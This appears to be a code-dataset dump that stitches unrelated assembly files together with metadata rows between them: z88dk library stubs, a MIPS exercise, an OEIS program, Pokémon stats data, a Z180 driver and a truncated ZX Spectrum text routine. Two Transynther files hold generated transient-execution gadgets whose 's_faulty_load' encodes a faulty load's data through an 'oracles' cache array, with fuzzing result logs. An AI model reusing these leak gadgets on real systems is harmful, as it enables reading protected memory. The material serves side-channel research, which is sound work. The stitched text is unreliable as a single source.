.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x6460, %rax nop nop nop nop nop sub %r10, %r10 mov (%rax), %r12 nop nop nop and $56607, %r10 lea addresses_UC_ht+0x3bb8, %rsi lea addresses_A_ht+0x7b38, %rdi nop nop nop cmp %r13, %r13 mov $108, %rcx rep movsb nop nop nop nop cmp %rcx, %rcx lea addresses_D_ht+0x4fc8, %r10 nop nop xor %r12, %r12 movb $0x61, (%r10) and %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r9 push %rbp push %rbx push %rdi // Store lea addresses_WT+0xb2b8, %rdi nop and %r13, %r13 mov $0x5152535455565758, %r15 movq %r15, %xmm1 movups %xmm1, (%rdi) nop nop nop nop dec %r11 // Store lea addresses_D+0x83b8, %rbx nop nop add %r9, %r9 movb $0x51, (%rbx) nop nop nop nop nop cmp %r9, %r9 // Faulty Load lea addresses_WT+0x151b8, %r11 nop nop nop nop nop sub %rbp, %rbp mov (%r11), %r9d lea oracles, %r15 and $0xff, %r9 shlq $12, %r9 mov (%r15,%r9,1), %r9 pop %rdi pop %rbx pop %rbp pop %r9 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 7}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 9}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 2}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
41.577236
2,999
0.657802
b3f7db63d7b6185eeed267cab52549626c7453b3
218
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/___hlt_callee.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/___hlt_callee.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/___hlt_callee.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math16 PUBLIC ___hlt_callee PUBLIC _f16_isless_callee EXTERN cm16_sdcc___lt_callee defc ___hlt_callee = cm16_sdcc___lt_callee defc _f16_isless_callee = cm16_sdcc___lt_callee
19.818182
51
0.788991
11674ab84794bb52c41f339e05c3d77ced8e0404
489
asm
Assembly
CS2610/problem1c.asm
shariefsmm/College-Codes
8fac4a980f8c20978862f3a16446b7cdb550d95a
[ "MIT" ]
null
null
null
CS2610/problem1c.asm
shariefsmm/College-Codes
8fac4a980f8c20978862f3a16446b7cdb550d95a
[ "MIT" ]
null
null
null
CS2610/problem1c.asm
shariefsmm/College-Codes
8fac4a980f8c20978862f3a16446b7cdb550d95a
[ "MIT" ]
null
null
null
#problem1c.asm .data .text .globl main main: li $t0, 0xffffffff li $t1, 0xffffffff li $t2, 0xffffffff li $t3, 0xffffffff li $t4, 0xffffffff li $t5, 0xffffffff li $t6, 0xffffffff li $t7, 0xffffffff li $t8, 0xffffffff li $t9, 0xffffffff li $s0, 0xaaaaaaaa li $s1, 0xaaaaaaaa li $s2, 0xaaaaaaaa li $s3, 0xaaaaaaaa li $s4, 0xaaaaaaaa li $s5, 0xaaaaaaaa li $s6, 0xaaaaaaaa li $s7, 0xaaaaaaaa li $v0, 10 syscall
17.464286
22
0.609407
da930ef0dd0c661914253a059b123aaf58b49254
839
asm
Assembly
oeis/142/A142485.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142485.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142485.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142485: Primes congruent to 14 mod 51. ; Submitted by Jon Maiga ; 167,269,677,881,983,1187,1289,1493,1697,1901,2003,2207,2309,2411,2819,3023,3329,3533,4349,4451,5471,5573,5879,5981,6287,6389,6491,6899,7001,7103,7307,7817,7919,8123,8429,8837,9041,9551,9857,10061,10163,10979,11489,11897,12101,12203,12611,12713,12917,13121,14243,14447,14549,14753,14957,15161,15263,15467,15569,15671,15773,16487,16691,17099,17609,18119,18731,19037,19139,19751,19853,20261,20771,20873,21179,21383,21587,21893,22709,22811,23117,23321,23627,23831,24137,24239,24443,24749,24851,24953 mov $1,32 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 add $1,13 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,38 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,101
33.56
497
0.724672
f94507a2bac15e4ec08ba5b3086ada0516b8f27f
2,596
asm
Assembly
libsrc/_DEVELOPMENT/target/yaz180/device/am9511a/am9511a_operand.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/yaz180/device/am9511a/am9511a_operand.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/yaz180/device/am9511a/am9511a_operand.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
;------------------------------------------------------------------------------ ; APU_OPP ; ; OPERAND BANK in B ; POINTER to OPERAND in DE ; APU COMMAND in C INCLUDE "config_private.inc" SECTION code_driver PUBLIC asm_am9511a_opp EXTERN APUCMDInPtr, APUPTRInPtr EXTERN APUCMDBufUsed, APUPTRBufUsed asm_am9511a_opp: ld a,(APUCMDBufUsed) ; Get the number of bytes in the COMMAND buffer cp __APU_CMD_SIZE-1 ; check whether there is space in the buffer ret NC ; COMMAND buffer full, so exit ld a,(APUPTRBufUsed) ; Get the number of bytes in the OPERAND PTR buffer cp __APU_PTR_SIZE-4 ; check whether there is space for a 3 byte OPERAND PTR ret NC ; OPERAND POINTER buffer full, so exit in0 a,(BBR) ; get the origin (this) bank rrca ; move the origin bank to low nibble rrca ; we know BBR lower nibble is 0 rrca rrca add a,b ; create destination far address, from twos complement relative input and a,$0F ; convert it to 4 bit address (not implicit here) rlca ; move the origin bank to high nibble rlca ; we know BBR lower nibble is 0 rlca rlca ld b,a ; hold destination BBR in B di ld hl,(APUCMDInPtr) ; get the pointer to where we poke ld (hl),c ; write the COMMAND byte to the APUCMDInPtr inc l ; move the COMMAND pointer low byte along, 0xFF rollover ld (APUCMDInPtr),hl ; write where the next byte should be poked ld hl,APUCMDBufUsed inc (hl) ; atomic increment of COMMAND count ld hl,(APUPTRInPtr) ; get the pointer to where we poke ld (hl),e ; write the low byte of OPERAND PTR to the APUPTRInPtr inc l ; move the POINTER low byte along, 0xFF rollover ld (hl),d ; write the high byte of OPERAND PTR to the APUPTRInPtr inc l ld (hl),b ; write the BBR of OPERAND PTR to the APUPTRInPtr inc l ld (APUPTRInPtr),hl ; write where the next POINTER should be poked ld hl,APUPTRBufUsed inc (hl) ; increment of OPERAND PTR count inc (hl) inc (hl) ei ret ; just complete, and exit
38.746269
101
0.526579
c94fafc347d32c4359ebd27178a58bcffd33f456
160
asm
Assembly
Tests/Test10/3.asm
5ayam5/COL216-A5
9d34e672c20f84a1d5e324a0e57edc1ba14518a0
[ "MIT" ]
null
null
null
Tests/Test10/3.asm
5ayam5/COL216-A5
9d34e672c20f84a1d5e324a0e57edc1ba14518a0
[ "MIT" ]
null
null
null
Tests/Test10/3.asm
5ayam5/COL216-A5
9d34e672c20f84a1d5e324a0e57edc1ba14518a0
[ "MIT" ]
null
null
null
addi $t0, $zero, 10 addi $t1, $zero, 20 addi $t2, $t1, 20 addi $s0, $zero, 1020 addi $s1, $t2, 2000 lw $t2, 0($s1) sw $t0, 0($s0) sw $t1, 0($s1) lw $t1, 0($s0)
16
21
0.55
ae490fd2a3a695c95c21ed8d65ec3e4ef8d481ba
901
asm
Assembly
data/pokemon/base_stats/murkrow.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/base_stats/murkrow.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/base_stats/murkrow.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
2
2021-08-11T19:47:07.000Z
2022-01-01T07:07:56.000Z
db 0 ; species ID placeholder db 60, 85, 42, 91, 85, 42 ; hp atk def spd sat sdf db DARK, FLYING ; type db 30 ; catch rate db 107 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 20 ; step cycles to hatch INCBIN "gfx/pokemon/murkrow/front.dimensions" db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_FLYING, EGG_FLYING ; egg groups db 35 ; happiness ; tm/hm learnset tmhm CALM_MIND, TOXIC, HIDDEN_POWER, SUNNY_DAY, TAUNT, PROTECT, RAIN_DANCE, FRUSTRATION, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, AERIAL_ACE, TORMENT, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, STEEL_WING, SNATCH, ROOST, ENDURE, EMBARGO, PAYBACK, THUNDER_WAVE, PSYCH_UP, CAPTIVATE, DARK_PULSE, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, SWAGGER, PLUCK, SUBSTITUTE, FLY, DEFOG, AIR_CUTTER, HEAT_WAVE, ICY_WIND, MUD_SLAP, OMINOUS_WIND, SPITE, SUCKER_PUNCH, SWIFT, TWISTER, UPROAR ; end
45.05
480
0.745838
035d5b2a864055bd85844b2bcda9730fd0378dad
340
asm
Assembly
source/personalities/ptest.asm
paulscottrobson/mega65-integer-basic
cb13cc3276959192f88120377e3ff715b8e5c8ca
[ "MIT" ]
null
null
null
source/personalities/ptest.asm
paulscottrobson/mega65-integer-basic
cb13cc3276959192f88120377e3ff715b8e5c8ca
[ "MIT" ]
null
null
null
source/personalities/ptest.asm
paulscottrobson/mega65-integer-basic
cb13cc3276959192f88120377e3ff715b8e5c8ca
[ "MIT" ]
null
null
null
.if TARGET=1 .include "personality_mega65.asm" .endif .if TARGET=2 .include "personality_6502.asm" .endif .include "personality_io.asm" Start: jsr IOInitialise ldx #St1 & 255 ldy #St1 >> 8 jsr IOPrintString Loop: ldx #$80 ldy #$00 jsr IOReadLine .byte 3 bra Loop St1:.text "7167 BYTES FREE",0 #EXTEndCode
13.6
35
0.670588
db72e45212d37408b088eb19419541c329ec84e2
8,568
asm
Assembly
Transynther/x86/_processed/NC/_ht_st_zr_/i7-7700_9_0xca_notsx.log_12468_810.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_ht_st_zr_/i7-7700_9_0xca_notsx.log_12468_810.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_ht_st_zr_/i7-7700_9_0xca_notsx.log_12468_810.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0xb899, %rdx clflush (%rdx) sub %r11, %r11 mov $0x6162636465666768, %rbx movq %rbx, (%rdx) nop nop nop nop xor %r13, %r13 lea addresses_WC_ht+0xe119, %r13 cmp %rcx, %rcx and $0xffffffffffffffc0, %r13 vmovntdqa (%r13), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %r8 cmp %rcx, %rcx lea addresses_WT_ht+0x2a19, %r13 xor %r9, %r9 mov (%r13), %ecx nop and $1712, %rbx lea addresses_WC_ht+0x11b19, %rsi lea addresses_D_ht+0xe2c1, %rdi nop nop nop nop sub %rbx, %rbx mov $20, %rcx rep movsl nop nop cmp $20578, %r13 lea addresses_UC_ht+0x2e5f, %r11 nop nop nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %rdx movq %rdx, %xmm3 vmovups %ymm3, (%r11) nop nop nop nop nop xor %r9, %r9 lea addresses_D_ht+0x687d, %rcx and $16516, %rsi movb (%rcx), %dl and $22240, %rsi lea addresses_UC_ht+0x1cd55, %rsi lea addresses_UC_ht+0x6f19, %rdi nop nop nop add $37232, %rbx mov $2, %rcx rep movsq nop nop nop nop nop add $56340, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x1a5e1, %rdx nop nop nop nop xor $49723, %rdi movl $0x51525354, (%rdx) nop nop nop nop nop cmp $7179, %rsi // Store lea addresses_normal+0x2919, %r12 nop nop nop sub $60258, %r14 movl $0x51525354, (%r12) nop nop nop dec %r12 // REPMOV lea addresses_RW+0xde19, %rsi lea addresses_PSE+0x6119, %rdi nop nop sub %rbp, %rbp mov $70, %rcx rep movsl nop nop nop nop nop add %rdi, %rdi // Store lea addresses_PSE+0x13d19, %r9 nop nop nop nop xor %r12, %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm3 movups %xmm3, (%r9) nop nop nop nop dec %r12 // Store lea addresses_PSE+0x1c359, %rbp nop nop xor %r9, %r9 movb $0x51, (%rbp) nop sub $46960, %r9 // Store lea addresses_normal+0xa203, %r14 nop nop nop nop nop add %rsi, %rsi movw $0x5152, (%r14) nop add $57974, %rsi // Store lea addresses_normal+0xe6c1, %rdi nop xor %rbp, %rbp movb $0x51, (%rdi) nop nop inc %r12 // Load lea addresses_RW+0x6d19, %r14 and $17758, %r12 movb (%r14), %dl nop add $7706, %rdi // Store mov $0x55855e0000000a8b, %rcx cmp $44885, %rbp movw $0x5152, (%rcx) nop nop nop add $54127, %rdx // Store lea addresses_A+0x1c80b, %r14 nop nop nop nop nop cmp %r12, %r12 mov $0x5152535455565758, %r9 movq %r9, %xmm0 movups %xmm0, (%r14) nop nop nop and %rcx, %rcx // Load lea addresses_A+0x9d19, %rdi nop nop and %rsi, %rsi mov (%rdi), %r9 nop nop add $19149, %rdx // Faulty Load mov $0x7c13c40000000119, %rcx nop nop nop add %r9, %r9 movups (%rcx), %xmm3 vpextrq $1, %xmm3, %rbp lea oracles, %r12 and $0xff, %rbp shlq $12, %rbp mov (%r12,%rbp,1), %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_RW'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'00': 255, '32': 11044, '48': 1169} 32 32 32 32 32 32 32 00 32 32 32 32 32 32 32 32 32 32 32 48 48 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 48 32 32 32 48 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 00 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 48 32 32 32 32 32 32 32 32 32 32 32 32 48 48 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 00 32 32 32 32 32 32 32 00 00 48 32 32 32 32 32 32 32 32 32 32 48 32 32 48 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 00 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 48 32 32 48 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 48 32 32 48 32 32 32 32 32 32 32 00 32 32 00 32 32 32 32 32 32 32 32 32 32 48 00 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 00 32 32 32 32 32 32 32 32 32 32 32 48 00 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 48 32 32 32 32 32 32 32 32 32 00 48 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 48 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 00 32 32 32 32 32 48 48 32 32 32 32 48 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 48 48 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 00 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 00 32 32 32 32 32 32 32 32 32 32 32 32 48 48 32 32 32 48 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 48 32 32 32 32 32 32 32 32 32 00 32 48 */
30.382979
2,999
0.650093
73828c6b0b9135529b779efc3c13885978175c27
2,908
asm
Assembly
text.asm
Veltas/spectrum-env
82a747444d46316b24b53af025ff7956c06b73a4
[ "CC0-1.0" ]
null
null
null
text.asm
Veltas/spectrum-env
82a747444d46316b24b53af025ff7956c06b73a4
[ "CC0-1.0" ]
null
null
null
text.asm
Veltas/spectrum-env
82a747444d46316b24b53af025ff7956c06b73a4
[ "CC0-1.0" ]
null
null
null
; vim: set syntax=z80: #local #code _CODE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Byte DrawGlyph(Pen *pen, char glyph) ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; _DrawGlyph:: #local ; A = $glyph ; IY = $pen pop bc pop iy dec sp pop af push af inc sp push iy push bc ; store font record address add a, a add a, a ld d, 0 rl d add a, a rl d ld e, a ld hl, _g_font-32*8 add hl, de push hl ; check font width ld e, (iy+0) ; x ld a, (iy+4) ; x boundary sub e jr c, out_of_room sub (hl) ; width jr c, out_of_room ; update adjust_jump with correct jump address ld a, e and 111b add a, a add a, a ld c, a ld b, 0 ld hl, adjust_stage + 28 sbc hl, bc ld (adjust_jump+1), hl ; DE = first write address ld a, (iy+1) ; y add a, a ld l, a ld h, 0 ld bc, glyphline_table add hl, bc ld e, (hl) inc hl ld d, (hl) ld a, (iy+0) ; x ld b, a and 0xF8 rrca rrca rrca ld l, a ld h, 0 add hl, de ex de, hl ; HL = first font bitmap address pop hl ; update stored x position ld a, b add a, (hl) ld (iy+0), a inc hl ; CF = 0 xor a ; B = 7, C = 0 ld b, 7 ld c, a draw_loop: push bc ; B = glyph entry to copy, C = 0 ld b, (hl) ld c, 0 ; Adjust so B is first cell to write, C is second cell adjust_jump: jp 0x0000 adjust_stage: rr b rr c rr b rr c rr b rr c rr b rr c rr b rr c rr b rr c rr b rr c inc hl ex de, hl ; Write first cell ld a, b or (hl) ld (hl), a ; Write second cell inc l ld a, c or (hl) ld (hl), a ; Next write address dec l inc h ex de, hl ; Loop pop bc djnz draw_loop ; Done ld l, c ret out_of_room: ; Return glyph 'width' pop hl ld 